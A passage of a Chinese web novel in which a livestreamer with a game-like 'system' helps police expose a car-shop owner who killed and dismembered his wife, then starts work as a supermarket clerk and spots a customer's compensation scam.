镜片后的双眼在颗粒上聚焦，眉峰轻轻一挑 老梁来的时候只说发现松质骨碎片，原以为至少是拇指盖大小的骨片。 此刻捏在指尖的，却不过是比粳米略长的颗粒，边缘还带着极细的蜂窝状孔隙。 这个东西要不是有人直接点出来。 就算是自己拿到手中也不会太在意。 现在的年轻人都这么警惕了？ 后生可畏啊！ 胖子见状慌忙掏出放大镜。 钱建军接过时特意调整了握镜的角度，让天花板的白炽灯透过镜片在骨头碎片上投下椭圆光斑，视线一寸一寸地扫过。 “确实是人类的松质骨。”钱建军的声音渐渐沉下来，“但需要做DNA比对。” 说话间已转头看向一旁的小李，目光如手术刀般精准。 “小李，用证物袋保存，你把碎片送回队里。” “交给我徒弟，其他的不用多说。” “好的，钱法医。”小李应声从包取出透明证物袋。 捏着袋角将骨头碎片放入其中，随即在证物袋贴上标签，小心折叠放入专用物证箱内，转身快步离去。 林澈身体微微转向，目光落在梁国栋身上。 “梁警官，现在呢？” 梁国栋嘴角微微勾起，露出一抹若有若无的笑意。 “当然是去现扬看看了。” “谁说没报案就不能上门送温暖了。” “辖区内出现女性人员失踪，必然上门询问一番。” 此时，直播间的弹幕如同潮水般沸腾起来。 “咚咚咚！开门查水表！” “我已经感受到了老梁想要立功的决心。” “没办法刚刚收了表扬，这要是立马又立一功，那可太长脸了。” “老梁：我要一步一步爬到最高，我要做高粱！” “666！” 林澈听完梁国栋的话，转头看向胖子。 “胖哥，走。” 胖子一愣，圆滚滚的食指指着自己的鼻尖，脸上满是惊讶。 他的眼睛瞪得大大的，目光带着几分疑惑。 “啊？” “这里还有我的事？” 林澈没有多说，一把抓住胖子的手腕，用力将他往外拽。 “走，反正这条街我们也不熟。” “那个郑老板更是一句话也说不上。” “你也是发现骨头碎片的关键人物。” “肯定要过来帮忙！” 胖子就这样被拉到了车上，脸上满是兴奋。 一行四人坐上车，车辆启动，缓缓向前行驶。 窗外的街景不断后退，阳光透过车窗洒在车内。 没多远，一个巨大的红色招牌映入眼帘——"老郑汽修"。 招牌有些陈旧，边缘的油漆已经有些剥落，但依旧醒目 招牌下方的空地上，横七竖八地停放着七八辆车，有轿车也有货车，车身布满了灰尘和划痕，显然是等待修理的车辆。 只不过此刻店铺的大门紧闭，铁卷帘门拉得严严实实，看不到里面的情况。 胖子坐在车内，目光看向窗外，突然指着旁边的一个胡同，说道。 “那里有后门。” 梁国栋点点头，熟练地转动方向盘，将车停在胡同口。 四人下车，径直走进胡同，脚步声在安静的胡同里显得格外清晰。 拐过一个弯，一扇大铁门出现在眼前，铁门旁边有一道小门虚掩着。 胖子走上前去，对着铁门招呼道。 “走吧。” 说完，他一马当先，伸手推开小门。铁门发出"吱呀"一声，声音在寂静的胡同里回荡。 “郑老板，你在吗？” “我们进来了。” 第85章 不小心？真的是不小心？ 肥大的T恤下摆随着动作往上翻卷，露出一圈白花花的腰腹。 前院传来金属工具碰撞的叮当声，像有人仓促收拾着什么，却始终没人应声。 梁国栋目光如炬地盯着前方晃动的胖子背影，同时警惕着四周。 林澈则和钱建军跟在后面。 转过雕着梅兰竹菊的木质屏风时，腐汽油混合着金属铁锈的气味劈头盖脸砸过来。 同时还看到了地面上流出的黑色机油。 “当心脚下！” 梁国栋突然伸手扣住胖子后颈，将其护到身后。 另一只手撩开油腻的塑料门帘。 率先踏入的瞬间，鞋底在地面打出滑。 深灰色水泥地上泼着大片发黑的机油，像条扭曲的巨蟒趴在那里，边缘还散落着几个歪倒的化油器零件。 正在地沟旁冲洗地面的郑老板猛地转身，高压水枪喷出的水流在墙上打出斑驳水痕。 他现在穿件洗得泛白的藏蓝工装，胸前印着"老郑汽修"的logo，袖口和裤脚沾满深浅不一的油渍。 郑老板转头看清梁国栋的瞬间，眉头猛地皱起，松弛的下颌肉微微发颤，工作服随着急促的呼吸剧烈起伏。 他将水枪重重砸在工作台，震得旁边的零件盒叮当作响，浓眉几乎要拧成死结。 “你是谁？” “谁让你进来的？” 梁国栋双手插在口袋里，黑色皮鞋在地面拖出沙沙声响。 眯起眼睛，目光像扫描仪般掠过靠墙摆放得整整齐齐的套筒扳手、千斤顶，又看向汽修店正中间的两条地沟。 郑老板额头上青筋暴起，工装裤膝盖处沾着的油渍随着他三步并作两步的动作左右晃动。 他几乎将脸怼到梁国栋面前，唾沫星子飞溅。 “你这是私闯民宅！” “知道吗？” “现在！立刻！马上！赶紧滚！” 就在这时，林澈带着两个身影鱼贯而入。 胖子笑呵呵地凑上前，肥厚的手掌在郑老板肩膀上重重一拍。 “郑老板，别激动。” “这不是听到你老婆失踪了吗？” “恰好林小哥认识几位刑警。” “想着能不能帮上你的忙。” “所以便把人喊过来给你，帮你一去找老婆。” 郑老板的喉结上下滚动，工装袖口被他无意识地捏出褶皱。 脸上的表情如同快速切换的走马灯，从愤怒到震惊，最后化作一声沉重的叹息。 转身继续清理撒在地上的机油，声音沙哑。 “小胖，谢谢。” “但这毕竟是我老婆。” “就家庭内部矛盾。” “不太好和外人说起。” “还是让我自己找吧。” 胖子往前跨了一步。 “人都失踪了，郑老板你一人肯定找不到。” “这位是梁警官。” “几十年的老刑警了。” “找人绝对的一流。” 郑老板听到几十年的老刑警。 动作骤然停顿，嘴角不受控制地抽搐。 就在这时，梁国栋鹰隼般的目光直勾勾盯着他。 突兀的身体猛然前倾，声音像淬了冰的刀刃。 沙哑的嗓音里裹挟着几十年刑侦生涯积累的压迫感。 “郑老板，你什么意思？” “不希望警方插手？” “是有什么隐情吧？” 郑老板下意识后退。 梁国栋却步步紧逼。 伸手指着地面大片机油。 “这地面的机油是什么情况？” 郑老板喉结剧烈滚动，发皱的工装袖口在铁柜边缘蹭来蹭去，试图擦掉掌心的冷汗。 “我不小心弄撒了。” 梁国栋突然暴喝。 “不小心？” “真的是不小心？” “还是说想要用机油掩饰什么？” “这地面上是不是沾染了什么不容易擦掉的东西？” “比如鲜血？” 郑老板一步一步后退，直至后背死死抵住墙面，指甲深深掐进掌心才能勉强站稳，额头细密的汗珠顺着下颌线滚进领口，将工装衣领晕出深色痕迹。 直播间的弹幕如沸腾的开水。 “卧槽！隔着屏幕我都能感觉到梁国栋的压迫力，吓得我都快跪下了。” “我已经跪下了，平常看到老梁都是憨憨的，认真起来真凶啊。” “这郑老板是在毁尸灭迹吧！绝对是吧！” “肯定的，就算机油撒出来，也不会撒得满地都是，还这么均匀，绝对有问题。” “我们都看出来了，老梁快抓他。” “楼上的哥们，你在开玩笑吗？疑罪从无了解吗？” “他只是铺满了机油，要是铺满了一地血，老梁就能动手抓他了。” 就在气氛紧绷到临界点时，林澈快步上前打圆扬，运动鞋底碾过油渍发出“吱呀”声响。 毕竟这件事到目前只有一个骨头碎片。 甚至连检测报告都没出，所有只是猜测。 要是逼急了，郑老板直接把四人赶出去，也完全没毛病。 到那时就只能等待检测报告了。 所以必须要有人出来缓一下，站在郑老板这一边。 林澈抬手虚挡在两人中间，脸上堆起恰到好处的笑意 “郑老板。” “现在警察就在这里了。” “您正好报案，让官方势力介入。” “也方便你找老婆啊。” “毕竟人多力量大。” 郑老板的手在空中虚晃两下，喉结上下滚动着吐出个破碎的“不”字。 话未说完，便与梁国栋鹰隼般的目光相撞，车间里浑浊的空气仿佛瞬间凝成了冰碴。 郑老板后颈的汗毛根根竖起，工装裤下的双腿不受控制地打颤，那股寒意顺着尾椎骨一路窜上天灵盖，连带着说话的腔调都变了味。 下一秒，他佝偻着背垂下脑袋，布满老茧的手揉了揉发红的眼眶，工装外套的褶皱随着刻意压抑的抽泣声微微起伏。 “唉，其实这种事也不是第一次了。” “之前就有过很多次。” “每次和老婆吵完架，她都会失踪几天。” 第86章 血迹 郑老板语气低沉。 “其实最早的时候我还是报过警的，您可以去查记录。” “只不过后面我就不放在心上了。” “女人嘛，生起气来根本没法沟通。” 林澈微微颔首。 “那您现在可以先报案。” “我们先帮你找着。” 郑老板慌忙摆手。 “现在其实还没到四十八小时。” “还没到报警的时间。” 梁国栋立刻补充道。 “女人小孩是特殊。” “不需要完全恪守失踪四十八小时这条要求。” 梁国栋已经掏出随身携带的黑色笔记本，圆珠笔尖在纸面划出沙沙声响。 “姓名、性别、身份证号，什么时候失踪的？” 郑老板僵在原地，喉结动了动却没发出任何声音。 就在这死寂的氛围中，他工装裤口袋里的手机突然震动起来。 猛地掏出手机，浑浊的眼睛瞬间亮起诡异的光，嘴角不受控制地咧到耳根。 “我老婆打来的。” “她果然只是生气了。” “人根本没有事。” 说着，把手机屏幕在众人面前晃动。 让众人都看清上面的备注：“老婆” 梁国栋握着圆珠笔的手悬在半空。 转头与林澈对视，两人眼中皆是掩饰不住的疑惑。 而郑老板已经按下接听键，并且开启免提。 “老婆，你去哪里了？” “失踪了这么久，你知道我有多担心吗？” 电话另一头的女声像是从煮沸的水壶里迸发出来，裹挟着尖锐的怒意。 “我去哪里了？” “当然是回娘家了！” “你之前做的事还需要我重复一遍吗？” 郑老板佝偻着背，活像棵被霜打过的蔫白菜。 “嗯嗯，没事了。” “你什么时候回家啊？” “我错了，我真的错了。” “你就原谅我这一次吧。” 女人冷哼一声，听筒里传来窸窸窣窣的布料摩擦声，仿佛正烦躁地来回踱步。 “等着吧。” “消了气自己就回去了。” “还有别来找我！” 随后电话被直接挂断。 郑老板缓缓抬起头，挤出一个似笑非笑的表情。 “梁警官，还有什么事吗？” “我还需要报案吗？” 直播间的弹幕疯狂刷新。 “什么情况？这人刚刚看过去还满是问题，怎么突然就变成了好人？” “不对劲，十分有一千两百分的不对劲。” “这电话来得也太是时候了，有没有可能是串通好的？” “哥们，主播他们本就是偷袭，怎么串通？难道郑老板还有超能力？预知了主播的行动？” “确实，这点讲不通，继续看吧。” 梁国栋的圆珠笔在掌心转了两圈，金属笔帽磕在笔记本封面上发出清脆声响。 林澈扯了扯胖子的衣角，压低声音问。 “听声音是不是他老婆吗？” 胖子微微摇头，肥厚的手掌抹了把额角的汗。 “不知道啊。” “我和他老婆也不熟。” “但他昨天可是寻找了好久，我们整条街的人都知道这件事。” “和他刚刚说的不在意，完全对不上。” 梁国栋收起笔记本，换上干练的笑容。 “好的，没事了。” “谢谢你的配合。” “有问题随时可以联系我。” 直播间弹幕如雪花般飘过。 一条接着一条，几乎要将画面完全覆盖。 “啊？这就放过了？” “他这人明显有问题啊。” “感觉该抓啊。” “这人明显是在毁尸灭迹。” “疑罪从无啊，目前根本没有找到问题，不能因为对方行为诡异就把人抓走。” “怀疑你有罪就抓人，那才是真的出现问题。” 郑老板嘴角扬起一抹得体的微笑，下颌轻轻颔首，目光扫过面前的几人，没有了刚刚的慌张。 “嗯，我送送你们。” “不用走后面，我把卷帘门打开，直接从正门离开。” 梁国栋点了点头，声音沉稳：“谢谢。” “正好车就停在街道上了。” 郑老板走到一旁，伸手按下了墙上的金属按钮，手指按下去时，按钮发出一声轻响。 紧接着，卷帘门传来"咔咔"的声响，金属叶片相互摩擦，一点点向上收起。 下午的阳光带着暖意，从卷帘门下方的缝隙中逐渐照射进来，光线越来越亮，照亮了房间里的地面。 光束中，细小的灰尘在空气中轻轻浮动。 也是在这时。 林澈站在房间的一侧，抬头打量着周围。 之前房间内灯光较暗，上方的区域有些模糊，看不真切。 此刻，随着卷帘门的升起，阳光照亮了房间。 林澈的目光突然定格，迅速掏出手机，手指在屏幕上快速滑动，打开了闪光灯。 白色的强光照射过去，双目猛地瞪大，喉咙不自觉地动了动。 林澈急忙转身，伸手拍了拍一旁法医钱建军的肩膀，手指用力，动作急切。 钱建军微微眯着眼睛，看向林澈手指的方向。 当看清之后，钱建军的脸色瞬间严肃起来。 身体微微前倾，声音陡然提高，当即出声喊道。 “小梁！” “抓住他！” 梁国栋听到喊话的瞬间，身体下意识地绷紧，肌肉迅速收缩，反应极快。 一个箭步冲上前去，双手如铁钳般紧紧抓住郑老板的双臂，手臂上的肌肉线条紧绷，力量十足。 将郑老板重重地顶在墙上，胸部撞击墙壁发出"砰"的一声。 郑老板满脸错愕，眼睛瞪得滚圆，嘴巴张开。 身体在墙上微微颤抖，脸上的血色似乎瞬间褪去。 随后，他的脸色变得通红，额头青筋暴起，嘴巴大张，大吼大叫道。 “你在干什么？” “为什么要抓我？” “我犯了什么事？” “你们是不是存心找茬。” “什么警察？你们不会是黑警吧，故意来讹诈我的！” 胖子满脸错愕看向四周。 不理解刚刚还是一副要离开的众人。 怎么转瞬就变成了这副模样。 "钱法医，是发现什么了吗？"梁国栋眉峰紧锁，捏着郑老板手腕的手指不自觉紧了半分。 钱建军下巴微抬，指了指靠墙的工具架。 在支架第三层上方，指甲盖大小的暗褐色斑块紧贴墙面，边缘呈不规则的锯齿状。 “那里有一块血管喷溅血迹。” 第87章 技能卡：护至身后 郑老板脸颊瞬间涨成猪肝色，太阳穴的青筋突突直跳。 脚尖拼命踹向地面，在水泥地上刮出刺耳的声响，脖颈上的肉挤出几道褶皱。 “啊？” “你们在诓我！” “就那么一点血迹能看出什么？” “肯定是你们故意找茬！” “告诉你们这件事没完！” 梁国栋脖颈前倾，眯起眼睛盯着墙面。 终于在工具架上方边缘处捕捉到那点深褐色。 不过半个乒乓球大小，若不是林澈的闪光灯扫过，几乎要和墙面上的油渍融为一体。 林澈搬来四条腿缠着电工胶带的木凳，膝盖抵着墙沿爬上去。 举着手机的手稳如三脚架，闪光灯在指间投下晃动的阴影，鼻尖几乎要贴上墙面。 “血迹呈现喷射状。” “带有明显的锯齿状边缘。” “周围还有零星几点，方向呈线性分布。” “大概率是颈动脉破裂时，动脉血压导致的血液高速喷射。” 说完从凳子下来，鞋尖轻点地面，像在给空气画坐标。 一步步丈量到东边的地沟旁。 林澈在沟沿前站定，背着手退后半步。 “根据血迹溅射的角度和距离。” “被害人是在这里被杀害的。” 郑老板脖子拼命往后拧，领口勒得他脸色发紫，鼻尖沁出的汗珠顺着双下巴滴落。 盯着钱建军丈量的脚步，双眼赤红如血，胸腔剧烈起伏间。 “我......我想起来了！” “那块血迹只是我之前杀鸡不小心溅上去的！” “放开我！” “赶紧放开我！” 直播间以两倍速疯狂滚动，几乎要撑破屏幕。 “啊啊啊？” “卧槽！发生了什么？” “突然就看到了血迹，然后通过一个血迹反推出具体地点？” “主播，你没学这种本领要干什么？” “快说你要干什么！回答我！” 梁国栋从腰间拽出手铐，拇指熟练地拨开保险扣。 "咔嗒"两声，铐环扣死。 林澈蹲在地沟边缘，衣角扫过地面的机油渍，伸手指着地沟。 “如果是碎尸。” “大概率就在地沟里。” “这样比较好清理。” 钱建军微微点头。 胖子眼疾手快攥着墩布，狠命用墩布擦着地面，黑色机油混着灰尘被推成歪扭的扇形，露出底下斑驳的水泥地。 林澈抄起生锈的八角锤，锤头在掌心掂了掂，突然抡圆胳膊砸向地面。 第一下砸偏，锤尖在水泥上崩出火星。 第二下准准落在水泥地上，"哐"的闷响震得虎口发麻。 蹲下身，指尖抠起断裂的水泥块。 三层颜色分明：底层是修车多年渗入的黑褐色油污，黏腻得能拉丝。 中间层泛着暗哑的红，像掺了铁锈的巧克力。 最上层刚被机油浸透，墨色新得能滴出油来。 郑老板原本还在踢蹬的鞋突然顿住。 盯着那块水泥块，喉结像卡了枚鸡蛋上下滚动，胸前全被冷汗浸透，黏在肚皮上像块发霉的抹布。 突然瘫软下来，膝盖砸在地上发出"咚"的闷响，脑袋耷拉着。 嘴中碎碎念叨。 “我不是故意的，她摔在地上，然后就死了。” “甚至都不是我推的，我也是迫不得已。” “......” 直播间诡异地静了两秒，下一刻弹幕如决堤洪水般炸开。 “Ohhhhhhhhh！” “刚刚还没有办法，要灰溜溜地走开，怎么转瞬就来了个人赃并获。” “玛德，看了这个，突然发现想要犯罪不被找到破绽，真他娘的难。” “楼上的哥们，你要干什么？” “好兄弟，告诉我你的地址，我好举报你，我也想搞个锦旗挂在卧室。” “好样的，出来混，主打一个出卖兄弟、背信弃义！” “哈哈哈。” 恰在此时，林澈耳边响起了熟悉的机械女声。 【恭喜宿主直播间观众认可度达到100%】 【奖励抽奖盲盒*1】 梁国栋摸出手机，背过身去，声音压得极低。 “喂，小李。” “我给你个位置，带上人立刻赶过来。” “什么案子？极有可能是碎尸。” 十分钟后，警笛声由远及近，十几道蓝色身影涌进院子。 通过郑老板的供述，后院传来警员的惊呼声。 梁国栋盯着墙角七个挖出来的白色塑料桶——桶口沾着新鲜泥土，边缘凝着暗褐色的痂，像干透的血。 梁国栋的面色铁青，下颚线绷紧，转头看向林澈。 “你也该走了。” “接下来的事你真要看？” 林澈猛地回神，喉结滚动着连连摇头，拽着还在发抖的胖子往门口走。 胖子走出胡同口时突然踉跄，手忙脚乱抓住墙沿。 林澈看着胖子他额头的冷汗顺着鬓角往下淌。 抬手轻拍胖子的肩膀。 “胖哥，你怎么样？” 胖子喉结滚动，手指无意识地搓着衣角。 声音有些发虚，眼睛往胡同深处瞥了一眼，随后立马收回。 “没.....没事。” “就是看到那几个桶的时候，就感觉心慌。我一个兽医平常也没少见血，家里还有好多标本......” “竟然也会感觉心慌。” 林澈注意到胖子手指在发抖，指节泛白。 扶着他的胳膊，让他在墙角的石阶上坐下。 “没事，坐下缓一缓。” 胖子点点头，低头盯着地面，地上有只蚂蚁正拖着半片面包屑往砖缝里钻。 他深吸一口气，又缓缓吐出，肩膀终于不再那么紧绷："我自己缓一缓就好。" 林澈站起身，在脑中轻声呼唤。 “统子，开启盲盒。” 眼前空气突然泛起涟漪，一个布满裂纹的泥瓦罐凭空出现，陶土表面还沾着细碎的沙粒。 林澈刚想伸手触碰，泥瓦罐突然剧烈摇晃起来。 随着摇晃加剧，陶片一块块剥落，像褪色的鳞片，最后"砰"的一声完全碎裂，金色光点如萤火虫般涌入手心。 【恭喜宿主获得技能卡：护至身后】 【效果：当你将人护到身后，并且大声喊出“不要怕，这里有我”之后，敌人必须攻击这个具有嘲讽效果的你。】 第88章 超市售货员 光点在林澈掌心凝聚成淡蓝色卡片，边缘泛着微光，能隐约看见卡面上绘着的盾牌图案。 刚要捏碎技能卡学习，眼前突然弹出新的提示框。 【恭喜宿主奖励暴击。】 【额外获得生命点*7】 【当前宿主剩余寿命：十五天】 林澈面露惊喜。 “还得是毒奶粉！” “谁说这开罐子不好了！” 随后捏碎技能卡，一道光芒涌入身体，没有什么感觉。 胖子也恢复得差不多，两人并肩走在回理发店的路上。 理发店的招牌在暮色中散发着暖黄色的光。 两人推门进去，林澈熟练地把围裙系在身上。 十几位来自银河市的直播观众陆陆续续走进理发店，他们有的穿着休闲的T恤，有的戴着棒球帽，一进来就热情地和林澈打招呼。 “主播，让我见识见识你的手艺！” 林澈笑着点头，手中的梳子和剪刀早已经准备好。 不知不觉，夜色渐深，窗外的路灯次第亮起。 林澈抬头看向直播间的摄像头，嘴角微微上扬，抬手摆了摆。 “兄弟们，今天的直播就到这里了。” “咱们明天见。” 话音刚落，直播间的画面逐渐变黑，只剩下一片漆黑的屏幕。 “完事了，这也太快了。” “看主播剪头竟然莫名有一种安心感。” “@老梁，当时那通电话是什么情况？” “帮凶。” “嘶，竟然还有帮凶吗？” “兄弟，有没有一种可能，就算是有工具想要碎尸也绝非一人能轻易做到的事。” “看到那七个塑料桶，现在我一闭上眼睛仿佛都能看到，莫名的心慌。” “按照惯例@一只大橘狗，你懂的！” “我懂，刚刚就已经加班加点弄了，这次换成手机了，绝不会出现问题！” “哈哈哈，我真是个天才。” “好，很有精神，但愿我今晚能看到视频。” “不知道大爷的孙子有没有被刷下来，好期待啊。” 就在这时，一位观众突然在直播间里甩出一条链接。 “兄弟，同城有条视频在疯传，我把链接发出来。” 众人纷纷点击链接，画面中，一位穿着灰色上衣的男子正对着镜头实名举报。 举报的对象正是大爷的孙子，视频里还配上了林澈的直播切片。 旁边还有大爷之前所作所为的资料，以及周围邻居的口供。 原本大家以为这只是普通的举报视频，可当看到置顶评论时，所有人都愣住了。 置顶评论只有短短一句："已收到正在核实。"简单的几个字，却像是一颗炸弹，在评论区里掀起了不小的波澜。 举报视频的点赞数蹭蹭往上窜，很快就超过了视频本身的播放量。 “好好好，就是这个感觉。” “玛德，这种人要是都能考上，才是最大的侮辱。” “别的不说，孙子不可能一点没沾到爷爷的光，必须要严查！” “正道的光，照在了大腚上。” “神踏马大腚上，输入法暴露了癖好！” 评论区里一片热闹，各种表情包和回复不断刷新。 另一边，出租屋里的灯光在深夜里显得格外明亮。 up主一只大橘狗视频剪辑完成。 兴奋地拍了拍自己的大腿，嘴角上扬。 “我果然是个天才，电脑会出问题，用手机剪辑就行了！” “哈哈哈哈！” “我真佩服我的机智。” 说完，他熟练地上传了视频，靠在椅子上，双手枕在脑后，幻想着视频火爆的场景。 可没过多久，手机突然不停地震动，私信提示音像鞭炮一样响个不停。 他疑惑地拿起手机，只见私信列表里堆满了消息，全都是让他自己点开视频看看。 心里一紧，赶紧打开自己上传的视频，眼前的画面让他目瞪口呆。 视频不知道为什么竟然默认勾选了360全景，整个画面扭曲成一个凸面，人物和场景都变得异常滑稽，像哈哈镜里的图像。 “卧槽！” “为什么啊？” “我明明什么都没弄啊！” “难道真的是因为沾染了主播的倒霉？” Up主一只大橘狗想起林澈直播时那些离奇的事情，心里一阵发慌。 立马打开网站，购买了一张去龙虎山的高铁票。 “怎么也得求一张平安符，保佑自己别出事。” “别哪天自己也出现在林澈的直播内！” “那种事情不要啊！” ...... 而林澈这边，收拾完房间。 将邻里街坊送的东西大部分塞给胖子，挥手告别后，便骑车离开。 第二日清晨，阳光像把金梳子，顺着纱窗的网格漏进卧室。 林澈早早起床，对着浴室镜子举着修眉刀，不锈钢刀片在晨光里泛着冷光，眉尾杂乱的碎毛被轻轻刮落。 镜中人的眉形逐渐利落，眉峰如刀削般挺括，整个人顿时散发出一股英气。 脑中机械女声准时准点响起。 【叮......】 【职业选择中......】 【获得职业超市售货员。】 【超市售货员配套装备已准备。】 【请宿主尽快开始直播。】 林澈目光中翻涌着好奇的涟漪。 “超市售货员？系统真的给自己准备了一个超市？” 正当他沉浸在思绪中时，传来“咚咚咚”的敲门声。 打开门，果不其然那个熟悉的壮汉出现在门口。 壮汉沉默寡言，只是面无表情地递过来一张纸条以及一把有些生锈的钥匙。 林澈伸手接过，目光落在纸条上的信息。 超市位于城中一个叫建国里的老小区内部。 壮汉给完东西，转身离开。 林澈回房间，穿戴好直播设备，按下了开播键。 直播间的屏幕缓缓亮起，林澈出现在镜头内。 弹幕开始零星地飘过。 令人咋舌的是，这些弹幕齐刷刷的全都是自己的照片。 照片里，自己的脸因为奇特的拍摄角度被拉得特别特别长，活脱脱一副“鄂之巨人”的模样，滑稽又荒诞。 林澈眉头瞬间皱成一个“川”字，眼底满是惊愕，脱口而出。 “这又是啥？” “一只大橘狗弄的？” 第89章 诈骗 直播间观众听到这话瞬间炸开，弹幕疯狂滚动。 “卧槽！主播都会抢答了。” “只能说一只大橘狗太有活了，每天都有不同的版本。” “哈哈哈，他还说他是被倒霉缠上了。” “据说他已经去龙虎山求符了。” “现在b站全都是主播的大长脸，还有人争相模仿。” “主播，你表演下这个试试。” 看着这些弹幕，林澈不禁咂了咂舌。 但在观众的热情起哄下，还是架不住观众的好奇心，学着图片里的样子。 将下巴轻轻抵在镜头上，然后缓缓拉伸脸部肌肉，五官都因这奇怪的动作扭曲变形。 “卧槽！好像啊，简直和真的一样。” “什么屁话，这张图本来也是主播的脸。” “不是，你们就没发现主播今天变帅了吗？” “确实，好像多了一股英气。” “主播，你是不是偷偷整容了？” 林澈见状，忍不住轻笑出声，眉眼弯弯，嘴角扬起自信的弧度。 伸出食指，轻轻点了点自己的眉毛。 “就是修了下眉。” “没想到就藏不住自己的帅气了。” “兄弟们，今天当超市售货员啊。” 弹幕如同煮沸的水，不断翻滚着新的追问。 “修眉？修眉就能变帅？” “主播，你给我们修修呗。” “主播，主播，咱们都是兄弟，你开超市，我能白吃白拿吗？” “俺也一样！我也想白吃！” “谁小时候没有个开超市的梦想。” “别说了，我现在也有这个梦想，想想就流口水。” 林澈无奈的两手一摊，嘴角挂着似笑非笑的弧度。 “我只是个售货员。” “想要白吃白拿，就要问问二舅同不同意了。” 随即林澈走出房门，夏日的热浪扑面而来，阳光照在他的电动车上。 熟练地跨上电动车，拧动电门，车身“嗡”的一声启动。 一路上，风呼呼地掠过耳畔，吹得衣角猎猎作响。 十二分钟的路程。 按照地址，林澈在建国里小区兜兜转转了几圈，终于在一片略显陈旧的居民楼中间找到了那间超市。 掏出钥匙，插入锁孔，轻轻一转，“咔嗒”一声，伴随着合叶生锈的吱呀声，门缓缓打开。 就在这时，旁边放着的电子门铃突然发出清脆的声音。 “欢迎光临！” 林澈顺手拿来一箱水抵住房门。 这间超市确实不大，只有五十多平，三排略显陈旧的货架整齐排列，货架中间仅留下可供一人侧身通过的狭窄过道。 与其说是超市，倒不如说是个简陋的小卖部，而且还不是开在热闹的学校门口。 林澈透过有些模糊的玻璃门，望向前面的小公园。 七八个大爷大妈坐在褪色的长椅上，手中摇着蒲扇，互相聊着家长里短，时不时传来爽朗的笑声。 直播间的观众看到这略显寒酸的超市，弹幕瞬间又热闹起来。 “主播，你这个超市他能卖得出去东西吗？” “俗话说金角银边，这个超市完全不搭噶啊。” “这哪是不搭噶，甚至不是熟人都找不到这家超市。” “真有煞笔把超市开在这种地方？” “主播，不就是吗？” 林澈慢悠悠地伸了个懒腰，双手高高举起，脊椎发出“咔咔”的响声，不以为然地笑道。 “位置偏也有好处。” “那就是比较清闲。” 说罢，走到冰箱前，打开柜门，冷气扑面而来。 随手拿出一根冰棍，拿起扫码枪“滴”的一声扫过条形码，掏出手机付了两块五。 然后惬意地坐回椅子上，打开电脑，悠哉游哉地带着观众看起了电影。 阳光透过斑驳的窗户洒在他身上，一上午就在这悠闲的氛围中悄然过去了。 林澈看了眼销售记录。 从八点多开门，到十二点整，页面上孤零零地躺着两笔记录。 总共就卖出去两瓶酱油一瓶醋。 甚至还没有自己吃零食花的钱多。 直播间的弹幕一阵飘过。 “我算是看明白了。” “主播才是这家超市的大主顾，这一上午嘴就没停过。” “原来生财之路竟然在这里！” “可怕，竟然是这么回事！” “主播这是被老板做局了。” 就在这时，那许久未响的电子门铃再次响起来。 “欢迎光临。” 林澈暂停电影，抬头看过去。 一位身穿黑色T恤的男人迈着不紧不慢的步子走进来。 男人进门后先是左右瞧了瞧货架，随后径直往饮品区走去。 林澈下意识地歪头看向监控屏幕。 画面里，男人的手指在各色饮料瓶身上游走，抓起塑料袋，动作利落地装了十几瓶不同样式的饮料。 紧接着，他伸手拉开斜挎包拉链，包内黑影一闪而过。 林澈身子前倾，鼻尖几乎要贴上屏幕，双眼眯成两道细缝，紧紧盯着男人的动作。 发现他只是从中取出了什么，因为监控像素模糊，角度又刁钻，看不真切。 直播间瞬间沸腾，弹幕疯狂刷屏。 “主播，你快看！他在偷东西！” “哥们，眼睛不要可以捐给有用的人，人家是拿出来东西。” “确实，是在拿东西，别总是疑神疑鬼。” “但这哥们挺爱喝饮料啊，主播这是开了个大单。” 林澈却没心思理会弹幕，目光死死锁在男人身上。 只见对方又在货架间穿梭，不一会儿竟拎着两大袋子沉甸甸的商品走出来，袋子被压得发出“簌簌”的声响。 男人把东西一股脑放在收银台上。 指了指商品，轻声说道。 “算账。” 林澈拿起扫码枪，“滴滴”声有规律地响起。 当扫到一罐红牛时，屏幕突然弹出“商品未录入”的提示。 仔细观察一下后，看到了罐子上印着的保健品标识。 又想到他之前从包里取东西的动作，记起一种诈骗的手法。 林澈缓缓抬头，目光与男人对上，对方眼神躲闪了一瞬，又很快恢复平静。 男人察觉到林澈的异样，眼神一凛，主动开口打破沉默。 语气里带着不耐烦，脚尖在地面轻轻点着，发出规律的“哒哒”声。 “怎么了？” “快点，我赶时间。” 第90章 做人要乘十 扫码枪在指间灵活翻转，“滴滴”声接连响起。 直播间弹幕看到情况，立即讨论起来。 “这扬景我好像见过。” “恶意打假是吧，故意把即将过期东西藏起来，过两天再来买下，然后要赔钱。” “确实，这人应该也是这种套路，只不过他是瞅准了主播没有销售保健品的资格。” “他怎么知道的？” “这种在企业信息软件上一查就能知道。” “这人绝对是故意的，主播别上当啊。” 林澈余光瞥见弹幕，对着摄像头眨了眨眼，露出一抹狡黠的笑容。 随后，动作麻利地将商品装进印着超市logo的塑料袋，全程都没提那罐有问题的红牛，仿佛它根本不存在。 “您好，一共是一百三十四块。” “这里扫码。” “收好您的小票。” 男人狐疑地看了眼林澈，又低头检查袋子，当看到那罐显眼的“问题红牛”安静躺在里面时，紧绷的肩膀瞬间放松下来，嘴角勾起一抹不易察觉的得意。 掏出手机，手指快速在屏幕上滑动，“滴”的一声完成支付，随后拎起袋子，脚步匆匆地往外走。 电子门铃机械的“欢迎光临”再次响起。 林澈倚着收银台，笑容里带着几分玩味，对着直播间挑眉道。 “兄弟们，你说他会让我赔多少钱？” 直播间的弹幕如同潮水般汹涌飘过。 “要钱？就这一瓶饮料能要多少？” “我觉得五百就差不多了。” “一千吧，食品相关起步就是一千。” “主播你要怎么办？” 林澈无奈地耸了耸肩，双臂张开做了个两手一摊的动作，眉梢微微挑起，脸上露出似笑非笑的表情，眼神里带着几分戏谑。 “我怎么办？” “我都没卖给他，我该怎么办？” 话音落下，侧身从桌上抽出一张小票，骨节分明的手指捏着小票的边缘，手腕轻轻翻转，在小票上的字迹在灯光下清晰可见，刻意放慢动作，确保每一位观众都能看清上面的内容。 林澈轻描淡写地说道。 “不过，人家过来要钱。” “该给还是要给的。” 刹那间，弹幕彻底沸腾，各色评论如同炸开的烟花，疯狂刷屏。 “咋啦？主播钱多烧得慌？” “都没做还要给钱？” “不对，主播好像是在做局。” “玛德，那小子回来就完犊子了。” “主播，那你要给他转多少？” 林澈垂眸轻笑，睫毛在眼下投出一片阴影，嘴角缓缓勾起一个意味深长的弧度，眼中闪过一丝狡黠。 “做人要乘十。” 